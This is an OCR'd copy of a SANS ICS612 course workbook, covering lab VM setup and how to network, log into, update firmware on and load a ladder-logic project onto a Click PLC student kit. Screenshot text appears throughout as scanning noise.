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Welcome to the ICS612 Electronic Workbook

Copyright ©2024, Jason Dely, Jeffrey Shearer and Tim Conway. All rights reserved to Jason Dely, Jeffrey Shearer and Tim Conway, and/or SANS Institute. This workbook is
considered Courseware as defined by the SANS Courseware License Agreement found at https://www.sans.org/mlp/courseware-licensing-agreement/ and is subject to all
terms and conditions of the agreement. Use of this workbook constitutes agreement with these conditions.

E-Workbook Overview

This electronic workbook contains all lab materials for SANS ICS612, Electronic Workbook Template. Each lab is designed to
address a hands-on application of concepts covered in the corresponding courseware and help students achieve the learning
objectives the course and lab authors have established.

Some of the key features of this electronic workbook include the following:

+ Convenient copy-to-clipboard buttons at the right side of code blocks

+ Inline drop-down solutions, command lines, and results for easy validation and reference

+ Integrated keyword searching across the entire site at the top of each page

« Full-workbook navigation is displayed on the left and per-page navigation is on the right of each page

+ Many images can be clicked to enlarge when necessary
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Using the Electronic Workbook

The ICS612 electronic workbook should be the home page for the Chrome browser inside the Windows virtual machine where it is
maintained. Simply open the Chrome browser or click the home page button to immediately access it in the VM.

You can also access the workbook from your host system by connecting to the IP address of your Windows VM. Run ipconfig in
Windows or +p a in Linux or in the Ubuntu bash shell in Windows to get the IP address of your VM. Next, in a browser on your
host machine, connect to the URL using that IP address (i.e. http://<%vM-IP-ADDRESS%> ). You should see this main page appear
on your host. This method could be especially helpful when using multiple screens.

We hope you enjoy the ICS612 class and workbook! To get the most out of your lab time in class, we recommend following the
guidance in How to Approach the Labs.

Updating the E-Workbook

Note

We recommend performing the update process at the start of the first day of class to ensure you have the latest content.

The electronic workbook site is stored locally in the Windows VM so that it is always available. However, course authors may
update the source content with minor fixes, such as correcting typos or clarifying explanations, or add new content such as
updated bonus labs. You can pull down any available updates into the Windows VM by running the following command in the
Ubuntu bash window via the Windows Subsystem for Linux (WSL).

Here are specific instructions for the Windows VMs:

+In a Windows VM, open Ubuntu bash window via the Windows Subsystem for Linux (WSL) from the taskbar as shown here:

Ubuntu 18.04.6 LTS

m o

* In the Ubuntu bash window, run the command workbook-update as shown here:
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Command lines

workbook-update

Expected results (when updates are available)

7cs612@DESKTOP-BR131UQ: ~$
$ workbook-update

Beginning update process...
- Updating workbook files

Complete!

Expected results (when no updates are available)

ics612@DESKTOP-BR131UQ:~$

$ workbook-update

Beginning update process...

- No workbook updates available

Complete!
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Lab 1.1 - Virtual Machine(s) Setup

Background

The ICS612 Student ISO contains three virtual machines for use during the course and outside of the class. The three virtual
machines are: Windows 10, RELICS, and Kali Linux distribution. This exercise will prep the virtual environments that you will use
this week.

Please note

The virtual machines are extremely large. This lab takes a lot of time due to copying and unarchiving, but it is very easy. We
are going to spend minimal actual class time on this exercise and ask you to continue working through copying the files over
as we are teaching the class as there are major sections where it could take 15-20 minutes to copy in a file and extract it. We
don't want to waste precious class time on waiting for copying/unzipping of files, so we will "background" that process to
focus on course material.

Also, the only virtual machine we need for Section 1 is the Windows virtual machine, so we will copy, extract, and launch that
virtual machine first. As you have free time throughout the Section, after class, or first thing in Section 2 we will complete these
steps for the remaining two virtual machines.

Total Lab Time: 20 minutes

« Initialize the Windows, RELICS and Kali virtual machines.

+ Lab network setup / testing from Windows VM

Task 1 -- Launch the Windows VM

1. Start VMware Workstation, Player, or Fusion and open ( FILE — oPEN ) the virtual machine located in the extracted folder
named SANS_WIN1eICS_ICS612_v24.01.Select and open the x.vmx file. (Hint: You can also double-click on it from the folder
view).

Note

To ensure full functionality, please do not perform a virtual machine upgrade or software update if prompted.

2. Power-on the Windows virtual machine.
a. Click the green arrow and Power on virtual machine.
b. If prompted select I copied it.

c. If prompted to upgrade or install VM tools, do not perform an upgrade and select Remind me later .

4 © 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson



d If prompted with message that the virtual machine appears to be in use, please select Take Ownership .

e. Once launched, you will verify that the VM is capable of running. Login to the VM by utilizing username ICS612 and
password ICS612.

Note

If you get an error message such as "This host is VT-capable, but VT is disabled" or similar, it is an indication that the
host computer has not been pre-configured to operate properly with virtualization technology. To correct this error,
you'll need to shut down the host system, boot into the BIOS and enable virtualization before proceeding further.

(&) Virtual Machine Q

Virtual Machine Message

msg. cpuid.noLongmodeQuestionFmt:This virtual machine is configured for 64-bit guest
operating systems. However, 64-bit operation is not possible.

This host is VT-capable, but VT is disabled.

VT might be disabled if it has been disabled in the BIOS settings or the host has not been
power-cycled since changing this setting.

(1) Verify that the BIOS settings enable VT and disable 'trusted execution.

(2) Power-cycle the host if either of these BIOS settings have been changed.

(3) Power-cyde the host if you have not done so since installing VMware ESX.

(4) Update the host's BIOS to the latest version.

For more detailed information, see http: //vmware.com/info?id=152.

Continue without 64-bit support?

" Yes
& No

The first thing to try is to verify that VT technology is enabled in the BIOS, as described in this VMware guide on 64-bit
(http:/www.vmware.com/pdf/processor_check.pdf).
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Note

The following pop-up may appear during the start of a virtual machine. This can be ignored and should disappear

after in a moment.

(%] SANS_WIN10ICS_ICS612_v24.01

serial0: Parameter "serial0.fileType" has an invalid value ‘

"thinprint".
Virtual device 'serial0' will start disconnected.

The following pop-up may appear during after login of the Windows virtual machine. Click cancel to proceed.

B " VMware Tools

A VMware Tools has modified the user interface size settings.
| You must log off to apply these changes. Close all
applications and press OK to log off now, or press Cancel to
log off later.

o]

Critical

We recommend performing the "Updating the Electronic Workbook" steps found at the start of the workbook or in the setup
instructions document to ensure you have the latest content prior to moving to step 3.

1. Verify your Windows VM Ethernet interface is configured.

a. Connect your laptop Ethernet adapter to the student Pod Stratix switch using any open port EXCEPT 3 or 4. POrts 3 and 4

are setup for port mirroring.
b. Disable host wireless adapter (i.e. airplane mode)
c. Ensure uplink cable is connected to Stratix Switch port GigabitEthernet 1.
d. Open Command Prompt ( cmd.exe ) and ping PodPLC and network gateway.

ping 172.16.AA.2
ping 172.16.AA.1
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Where: AA =Pod#f =1-15

Examples:
Podl /Student1=  ping 172.16.1.2
ping 172.16.1.1

Pod12 / Student2 = ping 172.16.12.2
ping 172.16.12.1

Note

If a "Networks" pop-up appears simililar to the following, this can be ignored as it will disappear on its own, or choose
either yes or no as it is irrelevant.

Networks

] Network 10

Do you want to allow your PC to be
discoverable by other PCs and devices
on this network?

We recommend allowing this on your
home and work networks, but not
public ones.

a. Open Command Prompt ( cmd.exe ) and ping server network gateway @172.20.1.1

Task 2 -- Initialize the SANS RELICS Virtual Machine

1. Start VMware Workstation, Player, or Fusion and open ( FILE — oPEN ) the virtual machine located in the extracted folder
named SANS_RELICS_ICS612_v24.01.Select and open the *.vmx file. (Hint: You can also double-click on it from the folder

view).
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Note

To ensure full functionality, please do not perform a virtual machine upgrade or software update if prompted.

2. Power-on the RELICS virtual machine.
a. Click the green arrow and Power on virtual machine
b. If prompted select I copied it.
c. If prompted to upgrade or install VM tools, do not perform an upgrade and select Remind me later .
d. If prompted with message that the virtual machine appears to be in use, please select Take Ownership
3. Once launched, please test logging in to the VM utilizing username relics and password relics.

4. It may take a minute or so for the desktop to fully load at which time you can safely shut down the VM by clicking on the cog
in the top-right corner of the desktop and then the power button.

3 1) 600PM %
About This Computer
Ubuntu Help...

System Settings...

Lock

2 relics
Log OUE...

Suspend
Shut Down...

®
Shut Down

Goodbye, relics. Are you sure you want to close
all programs and shut down the computer?

O
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Task 3 -- Initialize the Kali Virtual Machine

1. Start VMware Workstation, Player, or Fusion and open ( FILE — oPEN ) the virtual machine located in the extracted folder
named ICS612 - Kali-Linux-v19.08.Select and open the *.vmx file. (Hint: You can also double-click on it from the folder
view).

Note

To ensure full functionality, please do not perform a virtual machine upgrade or software update if prompted.

2. Power-on the Kali virtual machine.
a. Click the green arrow and Power on virtual machine
b. If prompted select I copied it.
c. If prompted to upgrade or install VM tools, do not perform an upgrade and select Remind me later .

d. If prompted with message that the virtual machine appears to be in use, please select Take Ownership .

VMware Workstation X

This virtual machine appears to be in use.

If this virtual machine is not in use, press the "Take
Ownership™ button to obtain ownership of it. Otherwise,
press the "Cancel” button to avoid damaging it.

Configuration file: E:

\ICS456\ICS456_D01_02\ICS456_456.19.1\IC5456 -
Kali-Linux-v 18. 12\IC5456 - Kali-Linux-v18. 12.vmx.

Take Ownership

3. Once launched, please test logging in to the VM utilizing username root and password toor (root spelled backwards).

4. You can now shut down the VM by clicking on the power icon in the top-right corner of the desktop and then the power button
in the pop-up window.

Wired Unmanaged

Q' Proxy None

3  Bluetooth Not Connected
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Exercise Takeaways

When working in ICS environments, having the necessary software, licenses, configs, and connectors can often be half the battle.

Windows VM
Username: ICS612
Password: ICS612

RELICS VM
Username: relics
Password: relics

Kali YM

Username: root

Password: toor
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Lab 1.2 -- Student Kit Familiarization
Background

Background
Within the ICS 612 Student Kit, you have the following items that need to be setup, configured, and verified:

« Click Plus PLC External Power Supply (P/S)

« Click Plus PLC CPU - C2-01CPU

+ Click Plus Slot 0 Combination Input / Output Module - C2-14DR
+ CLICK Thermocouple Analog Input module - C0-04THM

+ CLICK Input module - C0-08ND3-1

+ C-more Touch Panel

+ Useless Box

» Thermocouple

« Various cables

Note

Your student kit has already been wired for you. You will be connecting your laptop and Click PLC to the pod's Stratix Ethernet
switch in this lab. You can use any open Ethernet port on the Stratix switch except ports 3 or 4 because they are configured as
SPAN ports. You will use Port 3 or 4 in future labs. A setup video is located on the Student ISO, which shows the unpacking,
local wiring, and connections that have been made for you to begin this lab. There is also a video to show you how to pack up
the student kit at the end of the course.

Total Lab Time: 25 minutes

+ Establish Communications to the Click Plus PLC; here after referred to as either 'Click’ or Click PLC'
* Ensure Firmware is current

« Configure the network settings

» Download a program

+ Review and understand the logic elements

Task 1 -- Connect to the PLC

1. Open the Windows 10 VM

2. Copy the Lab Files folder from the student ISO to the Windows VM Desktop
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3 Right-Click the newly copied 'Lab Files' folder on the Windows VM and choose Properties . If checked, uncheck or clear the
Read-only attribute and apply to all sub-folders.

Lab Files Properties X Lab Files Properties X
General Sharing Security Previous Versions Customize General Sharing Security Previous Versions Customize

Lab Files Lab Files

Type: File folder Type: File folder

Location: C:\Users\ICS612.DESKTOP-BR131UQ\Desktop Location: C:\Users\ICS612.DESKTOP-BR131UQ\Desktop

Size: 687 MB (720,653,034 bytes) Size: 687 MB (720,653,034 bytes)

Size on disk: 691 MB (725,073,920 bytes) Size on disk: 691 MB (725,073,920 bytes)

Contains: 2,541 Files, 357 Folders Contains: 2,541 Files, 357 Folders

Created: Yesterday, May 6, 2024, 4:31:45 PM Created: Yesterday, May 6, 2024, 4:31:45 PM

Attributes: |E] Read-only (Only applies to files in folder) Attributes: D Read-only (Only applies to files in folder)
[ Hidden Advanced... [ Hidden Advanced...

Confirm Attribute Changes X

You have chosen to make the following attribute changes:

unset read-only

Do you want to apply this change to this folder only, or do you want to apply
it to all subfolders and files as well?

Apply changes to this folder only
(® Apply changes to this folder, subfolders and files

Cocs

4. Launch the Click Programming application

J:»

CLICK
Programmin...

5. Select open an existing Project
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Startup X

~Select an Operation

Starta new project Open an existing project Connect to PLC

[ ame | [ hep |

Open the Click PLC Project titled clickLabe1.2.ckp located in the Desktop\Lab Files\Lab 1.2\Click folder.

Note

If the following pop-up stating that “The Project has been saved with an earlier version of CLICK Programming .. Do you
want to make a copy of your original project?”, click No .

CLICK Programming Software X

This Project has been saved with an earlier version of CLICK
Programming software and needs to be converted to new
project format.

Do you want to make a copy of your original project?

Yes [ No ] [ Cancel

When open, you should see a screen similar to the one shown below. Depending on your laptops screen resolution, you may
experience different screen sizes that effect the click application window size, and as a result it may move some toolbars
around. Maximize the VM and the Click application to full screen and move the toolbars to an acceptable location.

CLICK Programming Software (Version 3.21) - ClickLab01.2.ckp - [Main Program] i |m) X
File ~  Home , Edit View Setup  Program Instruction onitor  Window  Help @ style ~ = & X
% Cut  ge  p g Cursor [V Rung Comments @ @ m £ Address Picker il Read Project * Offline B status
<3 Copy # Line (v| Address Comments ¢ Cross Reference W Write Project B PLC Mode... mDmV’m -
Undo Redo CPU I/O Soﬂwu: Connect
5 Paste % Erase | Nicknames & Syntax Check 3 PLC Information | | PLC Error
__ e L s N pogam o —mic L ses ] Moot ]
Navigation nx A [ [} | C [ o | E AF ~  List 2 x
Program _Function PLC Flasher Circuit Flasher On Timer [Timer(ON Delay) T T10n Timer Instruction
=0 Ladder Program . Enéple . o 1['Jone[) Current Value Not Retained| T':f[?“ Contact ~
] Main P lasherCircuitEn nTimerDn Unit ms|
Q o n.agram BC BcCa Int Single Word On Timer |——— ) oniack (NO)
@ Subroutine Program q [ )1/1' T — Outout Contact (NC)
@ Interrupt Program 13 ! Enave[SetPoint DS1 [l Edge Contact
g Address Picker Compare
Edit Rung Comments Coil
Q) Local Program Informati o Out
Syntax Check Current mD1 ol set
£ Cross Reference View 8 Reset
=B Monitor Flasher On Timer
T status Monitor Timing "llll.lﬂ Countes
- FH Data View O"Em"n o8 Timer
T8 DataView1 o 3) o1 Counter
3 Text View . Advanced
MQTT Text View 25| Math
% Override View Flasher Circuit o Drum
3 T10n Timer Enable Flasher On Timer Done ‘ [sh] Shift Regist
[l System Monitor TimeOn FlasherCircuitEn OnTimerDn i i
=)-#0] PID(Monitor/Configuration) BT BC BC4
{Aa PID Setup 2 I l { |[ ( out ) 1 Copy
5% PID Monitor i 540l Search
Zi asher On Timer
{tm Pio List View Done T2 Off Timer [ Conrol
OnTimerDn TimeOff (] Call
Ii' c|4 F T2 ‘ o8] For
/B s (0] Next
< > e &) Endl v
Ascii |z 0020/8000 | C2-01CPU 1A
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Task 2 -- Configure the PLC Network settings

Note

You will be connecting you laptop's Ethernet adapter is connected to the student Pod Stratix switch. DO NOT USE PORTS 3 OR
4. The Pod's Stratix Ethernet switch ports 3 and 4 are configured for port mirroring so we don't want to use those ports in this
lab.

The IP address is configured in two locations. The first is the project file the other is directly on the PLC.

First we will configure the IP address in the offline project file we just opened before we writing this project to the PLC. Skipping
this step, and in future labs is not critical; however, any attempt to write the project would result in a pop-up window highlight a
discrepancy, and choice, between the communications setup in the project file and the communications configured on the PLC.

Note

In the field these pop-ups are treated as safe-guards that would indicate an engineer to stop and reconsider what they are
attempting to do before proceeding. Mindlessly clicking through this pop-up could result in pushing the wrong configuration
and re-write the communication configuration resulting in not only an unplanned downtime but also an inability to reach the
PLC from a remote location. Action would then require identifying which PLC was impacted, find the current offline project file
for that PLC, physically going to the physical PLC to plug directly into the local serial port, maybe perform a factory reset, re-
configure the communications and write the project file to put back into service.

1. From the Menu bar select the setup menu and choose com Port Setup...

File © Home Edit View Setup Program Instruction PLC Monitor Wi

(D User Account Setup.. & (T) Network Time Service... [ (G MQTT Client...

[§4 System Configuration... 3 TC.3 Modbus TCP...
(™ Scan Time... G () EtherNet/IP...

2. In the screen that opens, Select the Port 1: Setup... button
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COM Port Setup X

CPU Module

[CLICK]Y

s and requires a
O programming

Learn More...

 with the CLICK

PLUS Pro

Setup... Learn More...

Port 1:

This port is used for general purpose communication
that uses Ethernet.
This port can be a network master or slave.

Setup... H Learn More... |

Port 2:

This port is used for general purpose communication
that uses RS-232,
This port can be a network master or slave.

Setup... Learn More...

OK ‘ ‘ Cancel Help

3. Select the radio button to set the IP address manually

4. Configure the network settings that corresponds to your Click PLC and Pod number.

Note

There is a Network Reference Sheet in the lab menu on the left and in the back of every course content book. This network

reference sheet can be used as a guide for your student kit IP Addressing as well as the various servers and device IP
Addressing schema used in this course.

Based on the criteria that fits you best, click open the dropdown and follow only 1 of the below network configuration
instructions:
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™ You are Student 1, or not sharing the Pod with another student

Configure the IP Address as 172.16.AAA.12 and Gateway as 172.16.AAA.1.

Where AAA == Pod #1-15

Example

Pod 1 Student 1:

Address: 172.16.1.12
Subnet: 255.255.255.0
Gateway: 172.16.1.1

Pod 12 Student 1:

Address: 172.16.12.12
Subnet: 255.255.255.0
Gateway: 172.16.1.1

¥ You are student 2 and sharing the pod with another student.

Configure the IP Address as 172.16.AAA.22 and Gateway as 172.16.AAA.1.

Where AAA == Pod # 1-15

Example

Pod 1 Student 2:

Address: 172.16.1.22
Subnet: 255.255.255.0
Gateway: 172.16.1.1

Pod 12 Student 2:

Address: 172.16.12.22
Subnet: 255.255.255.0
Gateway: 172.16.1.1

Click ok after you have changed the IP Address, Subnet Mask and Default Gateway.

5. Connect a network cable from your Click PLC to the Stratix Ethernet switch in your pod.
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Note

Ensure your laptop's Ethernet adapter is connected to the student Pod Stratix switch. DO NOT USE PORTS 3 OR 4. The
Pod's Stratix Ethernet switch ports 3 and 4 are configured for port mirroring so we don't want to use those ports in this
lab.

At this point in the lab, you should have your laptop and Click PLC connected to the Stratix Ethernet switch.

6. With the network connections in place your Windows virtual machine should be receiving a DHCP address from the network
switch in your Pod. Within the Windows VM, launch "Command Prompt' and execute the command 'ip config'. The IP address
should be similar to what is shown in the example below. The 3™ octet is the pod number and the 4 octet is from a range of
IPs issued by the DHCP server.

Example

Pod 1:

Address: 172.16.1.101
Gateway: 172.16.1.1

Pod 12:

Address: 172.16.12.101
Gateway: 172.16.12.1

If you do not have a similar IP address to the example above

a. Validate the presence of an IP address that is not a Automatic Private IP Addressing (APIPA) that starts with
'"169.254". This would indicate a communication issue exists between the Windows VM and the DHCP server on the
pod switch. Double check ethernet cable connection, VM settings and security settings of the host laptop operating
system.

b. Validate the presence of an IP address similar to the example below where the 3™ octet is your pod number. If the IP
address is something else, such as 10.x.x.x., disable your Wifi card on your laptop, reboot the VM and check the IP
address again.

Bug

This version of Stratix switch can sometimes stop issuing IP addresses requiring the VM's IP address to be configured

manually.

If setting the IP address manually, refer to the Network Reference Sheet to identify the appropriate IP address to use.
Take note of your pod number and whether you are student 1 or student 2. Valid Pod numbers range from one to
fifteen. Also, set your Subnet Mask to 255.255.255.0 and your Default Gateway to 172.16.(pod#).1

Reach out to the instructor if you continue to have issue obtaining or setting an IP address on the Windows VM.
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7 From the Menu bar select the pLc menu and from the PLC menu choose connect...

File * _Home  Edit View Setup Program Instruction . PLC..  Monitor Window

@ Connect... | = ™§ Read DatafromPLC... ffj Read Project from PLC... i3) Calendar/Clock Adjust...
WOCconnect. %) Write Datainto PLC... ¥ Write Project into PLC... @ PLC Modes.
i3} Online Project Information...

8. After selecting Connect...,the Connect to cLIcK PLC dialog window will appear.

You may receive a Windows Security Alert window on the first Click PLC software to Click PLC communication attempt.
Select Allow access to allow the Click PLC communication drivers to have permissions to communicate through the
Windows Defender Firewall.

& Windows Security Alert X

@ Windows Defender Firewall has blocked some features of this

app

Windows Defender Firewall has blocked some features of Communication Server on all public and

private networks.
Name:
Publisher: Koyo Electronics Industries Co., Ltd.
Path: C:\program files (x86)\automationdirect\dick common

\ver3.20\kecommserver.exe
Allow Communication Server to communicate on these networks:
[[]Private networks, such as my home or work network

[/] Public networks, such as those in airports and coffee shops (not recommended
because these networks often have little or no security)

What are the risks of allowing an app through a firewall?

&) Allow access Cancel

With the IP address configured in the offline project, these next steps will setup the IP address directly on the Click PLC.

9.In the new connect to cLIcK PLC window displaying the connection and the current port settings, change the
Port Type to Ethernet.

Note

The status column may display as GOOD or FAULT. Either of these can be ignored.
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Connect to CLICK PLC X

Switch/Hub
This Computer Sh PLC‘
A ® =
B
3 Ethernet or Ethernet ﬁ’ f !
Direct connection -
Port Type: £t t - :] Location of the target CLICK PLC
J ®) In the same LAN (Scan all CLICK PLCs in the LAN automatically.)

ln!d(R)8257l. s 5 = (O Outside this LAN (You need to allocate IP address and port number manually.)

Port Setting PLC Name 1P Address Subnet Mask Part Number Firmware  Mode  Status Mac Address
1P A e e Il [165.254.201.155 |255.255.0.0 C2-01CPU Ver3.21  [ic JRs's JB 00:00: 7C: 1A:01:35 | |
SubnetMask:  255.255.255.0

Default Gateway: 172.16.1.1

Refresh Bink RUN 8 ERR LEDs

Troubleshooting Tip

If you do not see your Click PLC, as a troubleshooting tip, verify your firewall and other endpoint security services on the
host laptop are disabled. These protections can prevent the necessary communications used between the Click PLC and
Click Software.

Disable Windows Firewall: To disable the Windows Firewall. Type "firewall" in the Windows search bar and open the
Windows Defender Firewall configuration window. On the left side select "Turn Windows Defender Firewall on or off". You
can select "Turn off Windows Defender Firewall (not recommended)" for both Private and Public network settings.

Endpoint Security: You may need to refer to the related manual (not provided) to modify or disable non-Microsoft
Endpoint Security products.

10. Depending on what step your lab partner is on, you may see both Click PLCs at this point. To distinguish between them prior
to assigning an IP address, simply select one of the Click PLCs listed and then select the Blink RUN & ERR LEDs. You will see
the RUN and ERR LEDs blinking on the top of one of the Click PLCs. If the one selected is your Click, then select the Edit...
button within the Connect to CLICK PLC dialog box so we can change the PLC IP address. If it was not your Click then select
the other one, verify with the RUN and ERR LEDs and then select Edit... to configure the IP address.

11. Configure the IP address of the PLC Manually using the following IP addressing scheme.

Based on the criteria that fits you best, click open the dropdown and follow only 1 of the below network configuration
instructions:

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 19




™ You are Student 1, or not sharing the Pod with another student

Configure the IP Address as 172.16.AAA.12 and Gateway as 172.16.AAA.1.

Where AAA == Pod #1-15

Example

Pod 1 Student 1:

Address: 172.16.1.12
Subnet: 255.255.255.0
Gateway: 172.16.1.1

Pod 12 Student 1:

Address: 172.16.12.12
Subnet: 255.255.255.0
Gateway: 172.16.1.1

¥ You are student 2 and sharing the pod with another student.

Configure the IP Address as 172.16.AAA.22 and Gateway as 172.16.AAA.1.

Where AAA == Pod # 1-15

Example

Pod 1 Student 2:

Address: 172.16.1.22
Subnet: 255.255.255.0
Gateway: 172.16.1.1

Pod 12 Student 2:

Address: 172.16.12.22
Subnet: 255.255.255.0
Gateway: 172.16.1.1
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Example

Here is an example of Pod 1, students 1 and 2.

Edit X Edit X
PLC Network Information PLC Network Information

PLC Name: [ PLC Name: l

(O Obtain Address from DHCP (O Obtain Address from DHCP

(O Use default fixed address (O Use default fixed address

(@) Use the following IP Address (® Use the following IP Address
IP Address: |l72.16.1 12| IP Address: [172.16.1.22’
Subnet Mask: | 255 , 255 . 255 . 0 ] Subnet Mask: [ 255 . 255 . 255 . O }
DefadtGateway:[ 1725 46 = 1 § ] ‘ DefwltGamwav:‘ 172: 16 « A 5 ]

Part Number: |czmcvu | PartNumber: | C2-01CPU |

MAC Address: loo;m;x;m;olﬁs I MAC Address: [oo:oo:x:m:oz:ss I
o ] [ conce [ ] | conce

*Example of Pod 1 student 1 Click *Example of Pod 1 student 2 Click

After you have set the IP Address, Subnet Mask and Default Gateway manually, select ok .

12. The "Connect to CLICK PLC" window will reappear with the manually set IP Address. Verify your settings are correct.

Example
Here is an example of the Pod 1 Student 1 Click PLC IP Address set to 172.16.1.12 with a subnet mask of 255.255.255.0
Connect to CLICK PLC X
Swiitch/Hub
This Computer g .,‘a
A i
o =
S Ethernet or
Direct connection
PortType:  Ethernet Location of the target CLICK PLC
Motk A (@) In the same LAN (Scan all CLICK PLCs in the LAN automatically.)
[Intei(R) 82574 Gigabit Ne | OoOutside this LAN (You need to alocate IP address and port number manually.)
Port Setting PLC Name IP Address Subnet Mask PartNumber  Firmware Mode Status  Mac Address
e e oo o35 1]
Default Gateway: 172.16.1.1
Refresh BinkRUNERRLEDs | | FEdit.
ot | [
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13 Select connect to connect to the Click PLC. If this is the first project to be written to the Click PLC, or the Click PLC was reset
to factory, then the default password will be used. The default password is click.

Login X ‘

Please Enter User Type and Password.

User Type: [ admin ]

Password: I dick l

View Password
Factory Default Password = "dick”

Forgot Password?
o] [ cone

You will receive an error stating that there is no project file in the PLC. Click ok to continue. You will be connected to the Click

PLC and in the next task, you will download a program into the Click PLC.

CLICK Programming Software X

The project file cannot be read from the PLC because
there is no project file in the PLC,

Task 3 -- Write a project to the PLC and perform a firmware update

Note

You will want to put your Click PLC in "Stop" mode. Perform this by toggling the physical switch located on the top of the Click
PLC to the "STOP" position.

PWR =
RUN =
ERR =

1. From the Menu bar select the pLc menu and choose write Project into PLC
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File ¥~  Home Edit View Setup Program Instruction . PLC . Monitor Window

@ Connect.. g Read Data from PLC... Calendar/Clock Adjust...
f%) Disconnect... % Write Data into PLC... B PLC Modes...

M Write Project into PLC... |
"1} Online Project Information...

| Connect  J|  Data )| Pojet | PLC

2. If prompted, select the IP address configuration setup that you just entered, specific to your Pod and student number

3. You may receive a firmware update notification. If you see this prompt, then complete the following steps. If you are not
prompted to update your firmware, then proceed to step 6.

CLICK Programming Software X

The firmware in the CLICK PLC is older than the version that
this CLICK software supports.
Please update the firmware to Version 3.20.

Do you want to update the firmware now?

coee

4. Select ok and on the following screen select update . If prompted place the switch on the PLC in the stop position for the
firmware update to complete.

Update Firmware X
Firmware
Firmware File: [C:\ProgamFies\ )\ onDirect\CLICK Ver3. 21 Fi Click_fv|| gy
CPU Type: CLICK-PLUS View Firmware History...
CcPU
CPU Type: C2-01CPU
Firmware Version: [ Ver3.10 ] 5 [ Ver3.21 S
Slotd
Module Type: C2-149DR
Firmware Version: | —i— | > [==
[ skip updating modules with the same version.
CAUTION
Before doing Firmware Update, Update
please change the Mode Switch to STOP. K

5. When the firmware update is complete, it may indicate that the communications have timed out and you will select
Reconnect to go back on line with the PLC.

If the firmware update success window appears, then close the update firmware window.

When the firmware is updated, it will clear the IP Address settings therefore you must go back to Task 2, Step 6 to reconnect
to the Click PLC and renter the IP Address, Subnet Mask and Default Gateway.

6. On the write project into PLC window, uncheck the Run Time Edit box if is not greyed out and then select ok . Ignore and
click ok ifitis greyed out.
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Information

When the Click PLC is in sTop mode (i.e. not running logic) this checkbox is greyed out. Since your kits are new PLCs from
the factory they are not loaded with logic and therefore are stopped; greyed out. At this stage, even if there is a check mark

in the check box, if it is greyed out, it can be ignored.

RUN Time Edits, also known as Runtime Edits, is when the programming software integrates new logic or logic changes
while the PLC is executing logic (running) without interruption to the process assuming the logic changes in of itself do
not interrupt the process (i.e. bad logic).

Write Project into PLC X
PC PLC
CPUType:  [C2-01CPU |
Project Name: |ClickLab01 ] Project Name: I I
Program Size (Total: 8,000 steps) Program Size (Total: 8,000 steps)
lProgram Size: 20steps(  0.25 %) WProgram Size: Osteps( 0.00 %)
WFree Area: 7,980 steps ( 99.75 %) WFree Area: 8,000 steps ( 100.00 %)
0 8,000 EI 0 8,000
Project File (Total: 262,144 bytes) Project File (Total: 262,144 bytes)
WlProject File Size 8,020 bytes (  3.05 %)
WlFree Area: 254,124 bytes ( 96.95 %)
The Project file was not
| donriosded nto s P ke
0 262,144
Last Update: Jan 29,2022, 07:26:14 Last Update: —— — -
[ write Project File into PLC RUN Time Edit
By enabling this option, the project file will be ! . . :
downloaded(Write) into the PLC. If you want to disable This GPU module is currently in STOP mode.
project upload(Read), disable this option.
[ ] [ o [

7. Select ok on the transfer complete notification

8. Put the PLC switch back into the Run position. This is a physical switch located on the top of the Click PLC. By putting the
PLC in Run mode, the downloaded program will begin to execute and solve the PLC logic.

@E=I)

=
-

PWR ™ RUN
= B
ERR = STOP

Verify the physical green run light on the front panel of the Click PLC indicator is lit which indicates the PLC logic is running.
You can also check the PLC mode in the software by clicking the Home tab where you should see the "Online" and "RUN"
indications through the Click PLC software.
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File ¥ | Home  Edit View Setupy, Program Instruction Monitor Window Help

% Cut 4= =p . Cursor [v|RungComments @ ﬁ £ Address Picker
=3 Copy SN # Line v Address Comments ¢ Cross Reference

Unde Redo S]mthheck

(4 Paste s~ Erase v Nicknames CPU l/O m

Task 4 -- Review and verify the current logic

1. In the navigation window, double-click status Monitor .

Navigation a x

Program Function PLC

=~} Ladder Program
#] Main Program
89 Subroutine Program
@ Interrupt Program
& Address Picker
d Edit Rung Comments
Q) Local Program Informati
Syntax Check

Monitor
T status Monitor

" FB DataView1l
75 Text View
4 MQTT Text View
BUR Override View
System Monitor
=-m0| PID(Monitor/Configuration)
{24 PID Setup
A4 PID Monitor
[ PID List View

Selecting the Status Monitor view will allow you to see the current status of the inputs, outputs, timer values and other

variables. The "teal or blue' indicator on the contact represents a true condition while the absence of the teal or blue indicator
represents a false condition. The Status Monitor view is useful for troubleshooting relay ladder logic.
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CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program] = [m) X
File ~ | Home  Edit View  Setup  Program Instruction Monitor ~ Window  Help @ style - = & X
$Ct 4o p i Cussor (V] Rung Comments @ ﬁ m £ Address Picker TiRead Project & Online [ status.
<3 Copy - # Line [v| Address Comments ¢ Cross Reference mwme Project B Run ﬂ Data View ~
Undo Redo CPU VO Sofhme Disconnect
:_1, Paste s~ Erase V| Nicknames i Syntax Check i) PLC Information () PLC Error
PR TI —E— N—TI— - | Status || Monitor |
Navigation X A [ B [ 6 [ o AF A Instruction List 2 x
Program _Function PLC Flasher Circuit Flasher On Timer [Timer(ON Delay) TN T10n Timer Instruction
=473 Ladder Program f hEné'_ﬂE . 5 1[30"5[) Current Value Not Retained| Tlf-“??ﬂ Contact R
5 Main P asherCircuitEn nTimerDn Unit ms
g s abm ;?grapm HC BHC4 Int Single Word On Timer SopiactiNo)
. ubroutine Program 1 { I E‘ TimerPreset Output [#] Contact (NC)
(@ Interrupt Program Enave(SetPoint mos1 [ifH] Edge Contact
& Address Picker 2200 Compare
@ Edit Rung Comments —
L Local Program Informati i Out
Syntax Check Current mTD1 ol et
£P Cross Reference View 0 0 Reset
= ﬂﬂ Moenitor Flasher On Timer
T status Monitor Timing I-.‘ iCountes
&R Data View OnTimerTT M Timer
FE DataView! f%lf‘?) & Counter
3 Text View A Advanced
5 MQTT Text View s Cret 43l Math
e asher Circui D
ER Override View T10n Timer Enable Flasher On Timer Done j Sl:";tmk y
System Monitor TimeOn FlasherCircuitEn OnTimerDn EgRtes
18] PID(Monitor/Configuration) BT HC [: [ . Copy/Search
g PID Setup (’ | L I L o " ‘gct;py v
PID Menitor .
1 PID List View Output 2 x
ClickLab01 - 0 error(s), 0 warning(s) "~
Write Project into PLC...
Transfer completed.
< > v
